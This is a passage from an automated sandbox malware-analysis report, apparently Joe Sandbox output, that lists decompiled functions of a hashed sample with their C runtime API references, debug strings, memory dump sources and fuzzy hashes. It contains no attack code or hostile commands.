Function 02293F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02293F51

Part of subcall function 02295BA8: __getptd_noexit.LIBCMT ref: 02295BA8

__gmtime64_s.LIBCMT ref: 02293FEA
__gmtime64_s.LIBCMT ref: 02294020
__gmtime64_s.LIBCMT ref: 0229403D
__allrem.LIBCMT ref: 02294093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022940AF
__allrem.LIBCMT ref: 022940C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022940E4
__allrem.LIBCMT ref: 022940FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02294119
__invoke_watson.LIBCMT ref: 0229418A

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: d340ae704b1e6c0f343e681b6c79f2953a48b1fe9d8870688383a7fe1681e0ec
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: EA71D771A20717ABDF14EEF9CC40B6AB3B9BF10364F14416AE514E6698EB70DA41CF90

Function 0229650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02296547
__calloc_crt.LIBCMT ref: 02296598
__lock.LIBCMT ref: 022965AE
__copytlocinfo_nolock.LIBCMT ref: 022965BF
_wcscmp.LIBCMT ref: 022965F9
__lock.LIBCMT ref: 02296610
__updatetlocinfoEx_nolock.LIBCMT ref: 02296622
___removelocaleref.LIBCMT ref: 02296628
__updatetlocinfoEx_nolock.LIBCMT ref: 02296647

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 5617a71b405ca291bb38d3ec8457b40a4ab07009f1189134bac3c09cfe375755
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: A2413432924309AFDF00AFE4DC80BAE3BEAFF44324F10802DE91496198DB799645DF21

Function 022984AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022984B1
_free.LIBCMT ref: 022984E2
_free.LIBCMT ref: 022984F5
_free.LIBCMT ref: 02298513
_free.LIBCMT ref: 02298525
_free.LIBCMT ref: 02298536
_free.LIBCMT ref: 02298541
_free.LIBCMT ref: 02298565
_free.LIBCMT ref: 02298581
_free.LIBCMT ref: 02298597
_free.LIBCMT ref: 022985BF

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 0c45339540ae9bbc2a133d2bbcc1886afe5440a3517548c772fea36abd236edc
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0931F731910352DFCF215F95FC8084977A6FB1632430A866EE908572B8CBB459CCEF92

Function 022BFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022BFC1F

Part of subcall function 022A169C: std::exception::_Copy_str.LIBCMT ref: 022A16B5

__CxxThrowException@8.LIBCMT ref: 022BFC34
std::exception::exception.LIBCMT ref: 022BFC4D
__CxxThrowException@8.LIBCMT ref: 022BFC62
std::regex_error::regex_error.LIBCPMT ref: 022BFC74

Part of subcall function 022BF914: std::exception::exception.LIBCMT ref: 022BF92E

__CxxThrowException@8.LIBCMT ref: 022BFC82
std::exception::exception.LIBCMT ref: 022BFC9B
__CxxThrowException@8.LIBCMT ref: 022BFCB0

Strings

leM, xrefs: 022BFCA8

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 4682c34a2fd47a7bcb24f0c3d0c00408035d530bdb796c31c98fc79e7dbf901a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 4911DA79C0030DBBCB04FFE5D865CDDBB7DAA04744F408566A92897644EB74A3588F94

Function 0227F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0227F01F

Part of subcall function 02291602: __FF_MSGBANNER.LIBCMT ref: 02291619
Part of subcall function 02291602: __NMSG_WRITE.LIBCMT ref: 02291620

_malloc.LIBCMT ref: 0227F02B
_wprintf.LIBCMT ref: 0227F03E
_free.LIBCMT ref: 0227F044
_free.LIBCMT ref: 0227F065
_malloc.LIBCMT ref: 0227F06D
_sprintf.LIBCMT ref: 0227F0C0
_wprintf.LIBCMT ref: 0227F0D2
_wprintf.LIBCMT ref: 0227F0DC
_free.LIBCMT ref: 0227F0E5

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: e2127b52a96edd00e6802fa3782587445e84d2c55c7a42923fc90651eda979e0
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 481124B29286647ACA61B3F60C11EFF3ADD9F45702F0401A9FE8CD1184EA185A149BB1

Function 02281960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022819C6
__CxxThrowException@8.LIBCMT ref: 022819F1
__CxxThrowException@8.LIBCMT ref: 02281A1A
__CxxThrowException@8.LIBCMT ref: 02281A4B
_memset.LIBCMT ref: 02281A6A
__CxxThrowException@8.LIBCMT ref: 02281A90
_malloc.LIBCMT ref: 02281AA0
_memset.LIBCMT ref: 02281AAB
_sprintf.LIBCMT ref: 02281ACE

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 28d4ad7d66c58447761a244dec9da0d93e7824510010f56cdc7d6fe9f932083d
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: D0515C71D40209ABEB11EBE5DC85FEFBBB9FB04704F140025F909B61C4E7749A118BA5

Function 0041A578 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 107COMMON

Download Yara Rule

APIs

__CrtDbgReportW.LIBCMTD ref: 0041A5AA
__errno.LIBCMTD ref: 0041A5BE
__invalid_parameter.LIBCMTD ref: 0041A5DC
__flsbuf.LIBCMTD ref: 0041A68F

Strings

(count == 0) || (string != NULL), xrefs: 0041A59A, 0041A5D7
_vsnprintf_helper, xrefs: 0041A5D2
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041A5A3, 0041A5CD

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Report__errno__flsbuf__invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
API String ID: 4186679113-344572354
Opcode ID: 8bfd83dfb6363b1e3e84beb9de74e5f8cf9f7ef7014f2e42e5590091655b65a8
Instruction ID: 3c05c20baf91d78fd58c21f83c1a37e0d8e190b344e4f54bee78f3f5ccb2ac56
Opcode Fuzzy Hash: 8bfd83dfb6363b1e3e84beb9de74e5f8cf9f7ef7014f2e42e5590091655b65a8
Instruction Fuzzy Hash: 71413070A01208EFDB00DF94C445B9DBBB1FF44324F24829AE8556B3D1C7799AD1CB4A

Function 0041AB7E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041ABD3
__CrtDbgReportW.LIBCMTD ref: 0041AC14
__errno.LIBCMTD ref: 0041AC28
__invalid_parameter.LIBCMTD ref: 0041AC49

Strings

("Buffer too small", 0), xrefs: 0041AC01, 0041AC44
_vsnprintf_s_l, xrefs: 0041AC3F
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041AC0D, 0041AC3A

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Report__errno__invalid_parameter_memset
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
API String ID: 823969412-1048272389
Opcode ID: 64e017350d4725d1fdc674ba9764952b9cd03226682d8f48c264940122e6e31c
Instruction ID: e8fbaaae86210fbd7e53ddbfaf29c06f48cecabfd440077f1014be79da206ebc
Opcode Fuzzy Hash: 64e017350d4725d1fdc674ba9764952b9cd03226682d8f48c264940122e6e31c
Instruction Fuzzy Hash: BE21077090A2489FCB10DF64CC01BE93771AB05328F24825BE515792C2E67D9994CB5F

Function 0227F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0227F284
__CxxThrowException@8.LIBCMT ref: 0227F2AF
__CxxThrowException@8.LIBCMT ref: 0227F2DE
__CxxThrowException@8.LIBCMT ref: 0227F30F
_memset.LIBCMT ref: 0227F32E
__CxxThrowException@8.LIBCMT ref: 0227F354
_sprintf.LIBCMT ref: 0227F373

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 71ccd468b0d5e494be341011193e3c34b9655b1d48f31d2b599001e89dbf5d01
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 4251ADB1D54249ABEF11DFE1DD46FEEBBB9EB04704F100029F905B6180E7B4AA058BA4

Function 0227F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0227F4B7
__CxxThrowException@8.LIBCMT ref: 0227F4E2
__CxxThrowException@8.LIBCMT ref: 0227F504
__CxxThrowException@8.LIBCMT ref: 0227F535
_memset.LIBCMT ref: 0227F554
__CxxThrowException@8.LIBCMT ref: 0227F57A
_sprintf.LIBCMT ref: 0227F594

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: be4c37c72a96b0c7cc37b295b3b727f4a0b3f33ad5378786e8803af6f9a913c3
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: DC515E71D54209ABDF21DFE1DD46FEEBBB9FB08704F100129F905B6184E774AA058BA4

Function 00420797 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004207F8
__aullrem.LIBCMT ref: 004209C5
__aulldiv.LIBCMT ref: 004209E7

Strings

0, xrefs: 004207B3
', xrefs: 00420797
9, xrefs: 004209F8

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: e56a7eb3272ce188181f6e5f6edba9427cfcd51053dac7488795e72b1c6a7d7e
Instruction ID: 48e3b0f59fc84e01081a28e74603fbd91eea7a1ac33aa124705bfab700b11067
Opcode Fuzzy Hash: e56a7eb3272ce188181f6e5f6edba9427cfcd51053dac7488795e72b1c6a7d7e
Instruction Fuzzy Hash: FA41E6B1E05229DFEB24CF58D899BAEBBB5BB44304F5081DAD059A7242C7389E80CF45

Function 00418D84 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

___doserrno.LIBCMTD ref: 00418D87

Part of subcall function 00410620: __getptd_noexit.LIBCMTD ref: 00410626

__errno.LIBCMTD ref: 00418D92

Part of subcall function 004105F0: __getptd_noexit.LIBCMTD ref: 004105F6

__invalid_parameter.LIBCMTD ref: 00418DB0

Part of subcall function 00410270: __encode_pointer.LIBCMTD ref: 00410282

Strings

(buf != NULL), xrefs: 00418DAB
_write_nolock, xrefs: 00418DA6
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c, xrefs: 00418DA1

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __getptd_noexit$___doserrno__encode_pointer__errno__invalid_parameter
String ID: (buf != NULL)$_write_nolock$f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
API String ID: 285566432-80048948
Opcode ID: c7b1c7e6025370fb443ff74209b6c05658b490907c6f795529c45e2052552cbf
Instruction ID: 3310a42cd70203b89eda2704f410dca6b54f51fc32fd41c90f8705b61afe707e
Opcode Fuzzy Hash: c7b1c7e6025370fb443ff74209b6c05658b490907c6f795529c45e2052552cbf
Instruction Fuzzy Hash: 0FE0CD70A8830469D6107F71DC1779F36019F51714F61029FB45D2A1C3DAFC18D046DE

Function 00418E26 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

___doserrno.LIBCMTD ref: 00418E29

Part of subcall function 00410620: __getptd_noexit.LIBCMTD ref: 00410626

__errno.LIBCMTD ref: 00418E34

Part of subcall function 004105F0: __getptd_noexit.LIBCMTD ref: 004105F6

__invalid_parameter.LIBCMTD ref: 00418E52

Part of subcall function 00410270: __encode_pointer.LIBCMTD ref: 00410282

Strings

_write_nolock, xrefs: 00418E48
((cnt & 1) == 0), xrefs: 00418E4D
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c, xrefs: 00418E43

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: __getptd_noexit$___doserrno__encode_pointer__errno__invalid_parameter
String ID: ((cnt & 1) == 0)$_write_nolock$f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
API String ID: 285566432-455572745
Opcode ID: 6ecb9c52b3770cce28fca7d76e82f7b25b3629aac78c4454a1cc75268175cd99
Instruction ID: 128ccc82292304df51eb686094a9ca8560e802bd30fe1a70a58c68bf186c2a73
Opcode Fuzzy Hash: 6ecb9c52b3770cce28fca7d76e82f7b25b3629aac78c4454a1cc75268175cd99
Instruction Fuzzy Hash: 83E0C270A887046AD6507F71DC1779F3A019F82728F61029FB85D2A1C3EAFC18904ADE

Function 022B208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022B20C6
__invoke_watson.LIBCMT ref: 022B2120
_strlen.LIBCMT ref: 022B20D4

Part of subcall function 02295BA8: __getptd_noexit.LIBCMT ref: 02295BA8

_strnlen.LIBCMT ref: 022B215F
__lock.LIBCMT ref: 022B2170
__getenv_helper_nolock.LIBCMT ref: 022B217B

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: a2fcdc21fdda78dfb9f8db73b1f104b9424d8603bdfe397824bea792e76c4bcd
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: CF31C272A30326EADB237AE49C00BEE37959F15BA4F144A15ED04EB29CDB748541CBA1

Function 023366D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023366DD

Part of subcall function 022959BF: __calloc_crt.LIBCMT ref: 022959E2
Part of subcall function 022959BF: __initptd.LIBCMT ref: 02295A04

__calloc_crt.LIBCMT ref: 02336700
__get_sys_err_msg.LIBCMT ref: 0233671E
__invoke_watson.LIBCMT ref: 0233673B
__get_sys_err_msg.LIBCMT ref: 0233676D
__invoke_watson.LIBCMT ref: 0233678B

Memory Dump Source

Source File: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, Offset: 02270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2270000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: b35d3ca41dc49539113a39858599611016991c5c19715eaa8649b2e53710e9a9
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: A211BF326117147FEB337AA5DC02BAA739DDF047A0B800426FE08A6640E7259A018EE8

Function 0041F2F0 Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

___initconout.LIBCMTD ref: 0041F314

Part of subcall function 00422EC0: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0041F319), ref: 00422ED9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,?,00000005,00000000,00000000), ref: 0041F399
WideCharToMultiByte.KERNEL32(00000000), ref: 0041F3A0
WriteConsoleA.KERNEL32(FFFFFFFE,?,?,?,00000000), ref: 0041F3C7

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 854b43dea8a528b91c9de592e1d9d0fca6a9a4df96b508a3e1b3aeb46ad59185
Instruction ID: a8858c9523d95d996f5e0e6c391c9d21678bf6b4126b0f27a42920eaa0c62d16
Opcode Fuzzy Hash: 854b43dea8a528b91c9de592e1d9d0fca6a9a4df96b508a3e1b3aeb46ad59185
Instruction Fuzzy Hash: 57218230500209EFDB20DB64DC49BEB3378AB06710F50433AEA25D61E0D7785D8ADB5A

Function 00423063 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

__getbuf.LIBCMTD ref: 00423159
__CrtDbgReportW.LIBCMTD ref: 00423193
__write.LIBCMTD ref: 004231E1

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00423180
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0042318C

Memory Dump Source

Source File: 00000000.00000002.1312010755.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1311867069.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312063751.0000000000427000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312240044.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312363146.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312413233.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1312465533.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Similarity

API ID: Report__getbuf__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 4471987-4070537404
Opcode ID: 11408c935594759cf37aad3be6a6f88869223453e1da9821f6cea97cf85caf6d
Instruction ID: 4887b1917224753eefdb7ba5f53af05a961499084fcfac5ddae6917e6c37a55f
Opcode Fuzzy Hash: 11408c935594759cf37aad3be6a6f88869223453e1da9821f6cea97cf85caf6d
Instruction Fuzzy Hash: 3C51F874B00208EFDB14CF94D491AAEFBB1FF88325F148299E4496B395D639EA81CF54

Function 00410991 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

__getbuf.LIBCMTD ref: 00410A83
__CrtDbgReportW.LIBCMTD ref: 00410ABD
__write.LIBCMTD ref: 00410B0B

Strings

